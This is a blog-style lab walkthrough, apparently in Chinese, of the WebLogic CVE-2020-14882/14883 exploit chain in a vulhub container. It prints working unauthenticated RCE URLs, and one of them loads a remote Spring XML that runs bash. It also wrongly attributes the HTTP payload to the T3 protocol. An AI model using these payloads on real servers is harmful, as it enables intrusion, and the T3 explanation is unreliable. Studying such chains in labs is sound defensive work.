Weblogic CVE-2020-14882、CVE-2020-14883详解

前言:温故而知新,可以为师矣。同样洞,在不同的时候其实是有不同的见解的,受自身眼界,以及工具的利用角度,新的框架的出现,会不同的看法。今天从代码和poc的角度去分析下WeblogicCVE-2020-14882、CVE-2020-14883

0x01:环境搭建

下载docker,windows和mac都可以下载图形化,linux,乌班图,debian下载docker安装包,执行官网相关命令即可

下载vulhub项目

https://github.com/vulhub/vulhub

切换到/vulhub/vulhub/weblogic/CVE-2020-14882

然后运行:docker-compose up -d

访问:http://localhost:7001/console/login/LoginForm.jsp出现下述页面即正常搭建:

0x02:漏洞分析

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

我们先把代码弄出来一份,使用docker cp命令,然后通过bp抓包定位参数接口再去分析代码,用这样的思路从代码上去分析CVE-2020-14882、CVE-2020-14883

Z:/Oracle/Middleware/user_projects/domains/ClassicDomain/servers/WLS_FORMS/tmp/_WL_internal/wls-wsat/tcsxmg/war--2023 一般一个漏洞的路径地址类似这样的,所以我们可以直接把user_projects或者Oracle下载下来:

docker cp 镜像id:文件路径 本地路径:

在上述的web.xml文件中,有一个Servlet映射,将名为"FileDefault"的Servlet映射到URL模式"/console/css/*"。这是关键的一点,因为攻击者可以构造一个特殊的URL,绕过这个映射,访问敏感的Console文件。这个URL的关键部分是/console/css/%252e%252e%252fconsole.portal,它通过编码表示了目录遍历,攻击者可以越过"/console/css/"目录,访问到Console的敏感文console.portal

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,

一是通过com.tangosol.coherence.mvel2.sh.ShellSession

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

com.tangosol.coherence.mvel2.sh.ShellSession是一个类,它在Coherence库中用于执行Shell命令。这个类的存在并不一定会导致远程命令执行漏洞,但在某些情况下,如果未经适当的验证和控制,它可能被滥用并导致远程命令执行漏洞。

在这个payload中,攻击者通过构造特殊的URL来触发漏洞。攻击者利用了WebLogic Server中的一个组件(T3协议)的安全漏洞,绕过了验证机制,并最终执行了恶意代码。

一个T3协议的例子:

import weblogic.jndi.WLInitialContextFactory;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class T3ProtocolExample {
    public static void main(String[] args) {
        try {
            // 设置WebLogic Server的连接参数
            Hashtable<String, String> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, WLInitialContextFactory.class.getName());
            env.put(Context.PROVIDER_URL, "t3://localhost:7001");

            // 创建初始上下文
            Context ctx = new InitialContext(env);

            // 在上下文中查找远程对象
            MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");

            // 调用远程对象的方法
            String result = remoteObj.sayHello("World");
            System.out.println(result);

            // 关闭上下文
            ctx.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

首先,我们设置了WebLogic Server的连接参数,包括使用WLInitialContextFactory作为初始上下文工厂,并指定WebLogic Server的URL(例如:t3://localhost:7001)。

然后,我们创建了一个初始上下文(InitialContext),并使用上述连接参数进行初始化。

接下来,我们通过上下文查找远程对象(myRemoteObject),这是一个在WebLogic Server上注册的远程对象。

最后,我们调用远程对象的方法(例如:sayHello),并打印结果。

所以通俗易懂来讲上边的payload里边的类就是一种T3协议,然后执行了恶意代码。写入文件。

二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml 这里可以使用python启一个服务

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后使用一下payload:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

在这个payload中,攻击者利用了com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类的构造函数,通过传入远程XML文件的URL来加载和解析XML文件。这个漏洞的根本原因是在处理XML文件时,未对远程文件的来源进行充分的验证和过滤。 由于未经适当的验证和过滤,攻击者可以构造恶意的XML文件,其中包含恶意代码或指令。当应用程序尝试加载和解析这个恶意的XML文件时,恶意代码或指令将被执行,从而导致远程命令执行漏洞。

这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML(出网)。

posted @ 2023-09-16 15:30  Arrest  阅读(355)  评论(0编辑  收藏  举报